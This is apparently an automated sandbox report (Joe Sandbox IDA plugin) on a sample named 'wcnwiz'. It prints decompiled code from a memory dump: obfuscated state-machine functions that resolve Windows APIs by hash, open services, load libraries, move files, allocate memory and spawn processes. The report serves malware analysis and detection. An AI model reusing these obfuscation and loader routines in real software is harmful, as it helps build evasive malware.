Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 0Q$2S$Y4[0
API String ID: 2382770032-4130634448
Opcode ID: b2d10818b001e94896691272abc30f59e66d75cfecb9a2a261bc83a0b929738b
Instruction ID: cd32540b057ed8e8c135d172312e0ca193b8dfe06191f9b02d1a046df16d9177
Opcode Fuzzy Hash: b2d10818b001e94896691272abc30f59e66d75cfecb9a2a261bc83a0b929738b
Instruction Fuzzy Hash: BA61C331B042055BDB2AAF6CAC957EA3399DB9170CF11042FF305DFA91EA30DD058792

Uniqueness

Uniqueness Score: -1.00%

Function 003B8400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003B8400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E003BB6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x3bdec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E003B3F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E003B3E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x3bdec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x3bde3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E003B3F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E003B3E60(_t101, _t98, 0x20de7595, _t126);
									 *0x3bde3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x3be1d4;
										if(_t93 == 0) {
											_t97 = E003B3F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E003B3E60(_t101, _t97, 0xa229df38, _t126);
											 *0x3be1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x3be3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E003B3F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E003B3E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x3be3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x3bde04;
							if( *0x3bde04 == 0) {
								_t95 = E003B3F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x3bde04 = E003B3E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x003b8400
0x003b8400
0x003b8406
0x003b840e
0x003b8416
0x003b841e
0x003b8426
0x003b842b
0x003b8430
0x003b8438
0x003b8440
0x003b8445
0x003b844a
0x003b8452
0x003b845a
0x003b8462
0x003b846a
0x003b8472
0x003b847a
0x003b8482
0x003b8491
0x003b8496
0x003b849a
0x003b84a2
0x003b84af
0x003b84b3
0x003b84bb
0x003b84c3
0x003b84cb
0x003b84cf
0x003b84d7
0x003b84df
0x003b84df
0x003b84e3
0x003b84e3
0x003b84e3
0x003b84e3
0x003b84e9
0x00000000
0x00000000
0x003b84ef
0x003b866e
0x003b8676
0x003b8696
0x003b869a
0x003b86a2
0x003b86a6
0x003b86aa
0x003b86b2
0x003b86b4
0x00000000
0x003b86ba
0x003b86ba
0x003b86c5
0x003b86d1
0x003b86bc
0x003b86bc
0x003b86be
0x00000000
0x00000000
0x00000000
0x00000000
0x003b86be
0x003b86ba
0x003b84f5
0x003b84fb
0x003b854a
0x003b854f
0x003b8551
0x003b8558
0x003b855d
0x003b8564
0x003b8569
0x003b8569
0x003b8578
0x003b857c
0x003b857e
0x003b8589
0x003b858f
0x003b8591
0x003b8598
0x003b859d
0x003b85a4
0x003b85a9
0x003b85a9
0x003b85af
0x00000000
0x003b84fd
0x003b8503
0x003b8543
0x00000000
0x003b8505
0x003b850b
0x00000000
0x003b8511
0x003b8511
0x003b8518
0x003b851f
0x003b8524
0x003b852b
0x003b8530
0x003b8530
0x003b853a
0x003b853c
0x00000000
0x003b853c
0x003b850b
0x003b8503
0x003b84fb
0x00000000
0x003b84ef
0x003b85c8
0x003b85ce
0x003b8630
0x003b8635
0x003b8637
0x003b863e
0x003b8643
0x003b864a
0x003b864f
0x003b864f
0x003b8660
0x003b8662
0x00000000
0x003b85d0
0x003b85d0
0x003b85d6
0x00000000
0x003b85d8
0x003b85de
0x003b85e0
0x003b85e7
0x003b85ec
0x003b85fa
0x003b85fa
0x003b861d
0x003b861f
0x003b8621
0x003b8624
0x00000000
0x003b8626
0x003b8626
0x00000000
0x003b8626
0x003b8624
0x003b85d6
0x00000000
0x003b85b1
0x003b85b1
0x003b85b1
0x003b85bd
0x003b85bd
0x003b85c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 003B861D

Strings

) `3, xrefs: 003B85C8
6w:, xrefs: 003B85D0
6w:, xrefs: 003B8662
) `3, xrefs: 003B8543
=, xrefs: 003B846A

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: 13a9806be21a23056181fc79586ecea5ad591dd6780d7db323ed4c41f1c4a76f
Instruction ID: fe6d8a9a8d27971852d37a8b0ba9fc090e985d357dba6ff7561f7eb16f6efb57
Opcode Fuzzy Hash: 13a9806be21a23056181fc79586ecea5ad591dd6780d7db323ed4c41f1c4a76f
Instruction Fuzzy Hash: 6E61E571A083129FC71ADF68C4556AFB7E9ABD0718F00891DF6999B290EB74DD04CF82

Uniqueness

Uniqueness Score: -1.00%

Function 003A0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003A0F08
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003A0F3E
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003A0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 003A0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 003A0DC3

Part of subcall function 003A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,003A0EFD,00000000), ref: 003A1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 003A0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 003A0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 003A0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 003A0E98

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 3ff1357751bb0e0721103577600254a6c1e0c026403546d2bcbe259add274a1e
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: 8131F276A043406BD329DB60CC54EAB73EAEBCB381F044D2CB548D7351D635E880C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 003B8E80, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003B8E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x3be270 == 0) {
									 *0x3be270 = E003B3E60(_t25, E003B3F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x3be54c; // 0x51e730
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x3be4c8;
						if(_t11 == 0) {
							_t11 = E003B3E60(_t25, E003B3F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x3be4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x3be18c;
							if(_t15 == 0) {
								_t15 = E003B3E60(_t25, E003B3F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x3be18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x3be310;
								if(_t19 == 0) {
									_t19 = E003B3E60(_t25, E003B3F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x3be310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x3be18c;
									if(_t22 == 0) {
										_t22 = E003B3E60(_t25, E003B3F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x3be18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x003b8e82
0x003b8e86
0x003b8e8c
0x003b8e91
0x003b8e96
0x003b8e98
0x003b8ea0
0x003b8ea0
0x003b8ea0
0x003b8ea0
0x003b8ea5
0x00000000
0x00000000
0x003b8f7f
0x003b9011
0x00000000
0x003b8f85
0x003b8f8a
0x003b8fd5
0x003b8fed
0x003b8fed
0x003b8ff9
0x003b8ffb
0x003b9009
0x00000000
0x003b8f8c
0x003b8f91
0x00000000
0x003b8f93
0x003b8f93
0x003b8f99
0x003b8fa3
0x003b8fa5
0x003b8fa8
0x003b8fae
0x003b8fb1
0x00000000
0x003b8fb1
0x003b8f91
0x003b8f8a
0x00000000
0x003b8f7f
0x003b8eab
0x003b8f3f
0x003b8f46
0x003b8f59
0x003b8f5e
0x003b8f5e
0x003b8f64
0x003b8f6d
0x003b8f70
0x00000000
0x003b8eb1
0x003b8eb6
0x003b901b
0x003b9022
0x003b9035
0x003b903a
0x003b903a
0x003b9040
0x00000000
0x003b8ebc
0x003b8ec1
0x003b8efc
0x003b8f03
0x003b8f16
0x003b8f1b
0x003b8f1b
0x003b8f2b
0x003b8f2f
0x003b9042
0x003b9049
0x003b8f35
0x003b8f35
0x00000000
0x003b8f35
0x003b8ec3
0x003b8ec8
0x00000000
0x003b8ece
0x003b8ece
0x003b8ed5
0x003b8ee8
0x003b8eed
0x003b8eed
0x003b8ef3
0x003b8ef5
0x00000000
0x003b8ef5
0x003b8ec8
0x003b8ec1
0x003b8eb6
0x00000000
0x003b8fbb
0x003b8fbb
0x003b8fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,0051E730,003B8782,?,3251FEFE,?), ref: 003B8FF9

Strings

0Q, xrefs: 003B8F93
uw(#, xrefs: 003B8F8C
uw(#, xrefs: 003B9011

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: 0Q$uw(#$uw(#
API String ID: 3098006287-1879438421
Opcode ID: 286bdf53b3ea8ddf261941232ff2d578f8bfd26bf9dc8011bf9c7af6111f2056
Instruction ID: f77ce96f883290717875de58709f3bfbb3ff40a2b4c760fa055bca5de574631e
Opcode Fuzzy Hash: 286bdf53b3ea8ddf261941232ff2d578f8bfd26bf9dc8011bf9c7af6111f2056
Instruction Fuzzy Hash: F141D831B042149BDB266BBDAC807FA22DEA78475CF61092AF746CBF41EE74DC408791

Uniqueness

Uniqueness Score: -1.00%

Function 003B7120, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E003B7120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E003B34C0(0x3bd830);
							__eflags =  *0x3bdd1c;
							if( *0x3bdd1c == 0) {
								 *0x3bdd1c = E003B3E60(_t21, E003B3F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x3be548; // 0x557de0
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x3be494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E003B3E60(_t21, E003B3F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x3be494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x3bdf30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E003B3E60(_t21, E003B3F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x3bdf30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E003B7080(_t21, 0x3bd7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E003B7080(_t21, 0x3bd8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E003B7080(_t21, 0x3bd800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E003B7080(_t21, 0x3bd860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E003B7080(_t21, 0x3bd890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E003B7080(_t21, 0x3bd7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E003B7080(_t21, 0x3bd8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x003b7120
0x003b7120
0x003b7120
0x003b7125
0x003b7125
0x003b7125
0x003b7125
0x003b712a
0x00000000
0x00000000
0x003b7130
0x003b723f
0x003b7246
0x003b7248
0x003b7260
0x003b7260
0x003b7266
0x003b7268
0x003b726e
0x003b7271
0x003b7276
0x003b7278
0x003b728b
0x003b7290
0x003b7290
0x003b7297
0x003b7299
0x003b729e
0x003b72a0
0x003b72b3
0x003b72b8
0x003b72b8
0x003b72c5
0x003b7136
0x003b7136
0x003b713b
0x003b7190
0x003b7195
0x00000000
0x003b719b
0x003b71a5
0x003b71aa
0x00000000
0x003b71aa
0x003b713d
0x003b713d
0x003b7184
0x003b7189
0x00000000
0x003b713f
0x003b7144
0x003b716e
0x003b7173
0x00000000
0x003b7146
0x003b7146
0x003b714b
0x00000000
0x003b7151
0x003b7158
0x003b715d
0x00000000
0x003b715d
0x003b714b
0x003b7144
0x003b713d
0x003b713b
0x00000000
0x003b7130
0x003b71b4
0x003b71b9
0x003b7207
0x003b720c
0x00000000
0x003b720e
0x003b7218
0x003b721d
0x00000000
0x003b721d
0x003b71bb
0x003b71bb
0x003b71f8
0x003b71fd
0x00000000
0x003b71bd
0x003b71bd
0x003b71c2
0x003b71df
0x003b71e4
0x00000000
0x003b71c4
0x003b71c4
0x003b71c9
0x00000000
0x003b71cb
0x003b71cb
0x00000000
0x003b71cb
0x003b71c9
0x003b71c2
0x003b71bb
0x00000000
0x003b7227
0x003b7227
0x003b7227
0x003b7232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003B68AC), ref: 003B7266

Strings

}U, xrefs: 003B7268
Dry9, xrefs: 003B715D
Dry9, xrefs: 003B7207

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9$}U
API String ID: 1029625771-3870248047
Opcode ID: d595c728714cf67a16a9e9d97b3db5fdfcc99ecbcea77093eb086a4785ea5769
Instruction ID: 9e7570ab9a53e26f654949a419781a162932126655149178c44b54469b7d33dd
Opcode Fuzzy Hash: d595c728714cf67a16a9e9d97b3db5fdfcc99ecbcea77093eb086a4785ea5769
Instruction Fuzzy Hash: C2318124F0D10047DA276ABE58A13FA11AAD7E030CF61446AF351CFF95ED36CE0143A2

Uniqueness

Uniqueness Score: -1.00%

Function 003B3780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E003B3780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x3bddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E003B3E60(_t36, E003B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3bddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x3bddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E003B3E60(_t36, E003B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3bddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x3bddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E003B3E60(_t36, E003B3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3bddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x3be298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E003B3E60(_t36, E003B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3be298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x3be298;
				if(_t20 == 0) {
					_t20 = E003B3E60(_t36, E003B3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3be298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x3be30c == 0) {
					 *0x3be30c = E003B3E60(_t36, E003B3F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x003b3785
0x003b3780
0x003b378c
0x003b378f
0x003b3793
0x003b37a6
0x003b37ab
0x003b37ab
0x003b37b9
0x003b37bb
0x003b37c0
0x003b37c5
0x003b37d8
0x003b37dd
0x003b37dd
0x003b37ee
0x003b37f0
0x003b37f5
0x003b37fa
0x003b380d
0x003b3812
0x003b3812
0x003b3826
0x003b3828
0x003b382d
0x003b3832
0x003b3845
0x003b384a
0x003b384a
0x003b3855
0x003b3857
0x003b385e
0x003b3871
0x003b3876
0x003b3876
0x003b3884
0x003b388a
0x003b3892
0x003b389d
0x003b38a6
0x003b38b4
0x003b38cc
0x003b38cc
0x003b38d5
0x003b38d9
0x003b38e2

APIs

SHFileOperationW.SHELL32 ref: 003B38D5

Strings

X~, xrefs: 003B3806
X~, xrefs: 003B379F
X~, xrefs: 003B37D1

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: 6c1d08b15bc44f06436343978d2fc1aa87af0c7123f941638ab2a1c9b9152f51
Instruction ID: 3b72652807e9ca7ac2b81dc85fae701325e96f2192bff724da29d98f9bb782a7
Opcode Fuzzy Hash: 6c1d08b15bc44f06436343978d2fc1aa87af0c7123f941638ab2a1c9b9152f51
Instruction Fuzzy Hash: D531BC757002614BD716ABB9DC11BEB37EAAB8470CF000A2DBA55CB291FA34DA058791

Uniqueness

Uniqueness Score: -1.00%

Function 003B4B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E003B4B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x3bddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E003B3E60(__ebx, E003B3F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x3bddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x3be21c == 0) {
					 *0x3be21c = E003B3E60(_t26, E003B3F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x3bde3c;
						if(_t15 == 0) {
							_t15 = E003B3E60(_t26, E003B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3bde3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x3bde3c;
						if(_t17 == 0) {
							_t17 = E003B3E60(_t26, E003B3F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x3bde3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x003b4b70
0x003b4b70
0x003b4b70
0x003b4b79
0x003b4b7c
0x003b4b80
0x003b4b93
0x003b4b98
0x003b4b98
0x003b4ba6
0x003b4bb0
0x003b4bba
0x003b4bd2
0x003b4bd2
0x003b4bf1
0x003b4bf5
0x003b4c7a
0x003b4bf7
0x003b4bfd
0x003b4c14
0x003b4c1b
0x003b4c2e
0x003b4c33
0x003b4c33
0x003b4c3c
0x003b4c3e
0x003b4c45
0x003b4c58
0x003b4c5d
0x003b4c5d
0x003b4c66
0x003b4c72
0x003b4bff
0x003b4bff
0x003b4c05
0x003b4c13
0x003b4c13
0x003b4bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 003B4BF1

Strings

X~, xrefs: 003B4B8C
D, xrefs: 003B4BB0

Memory Dump Source

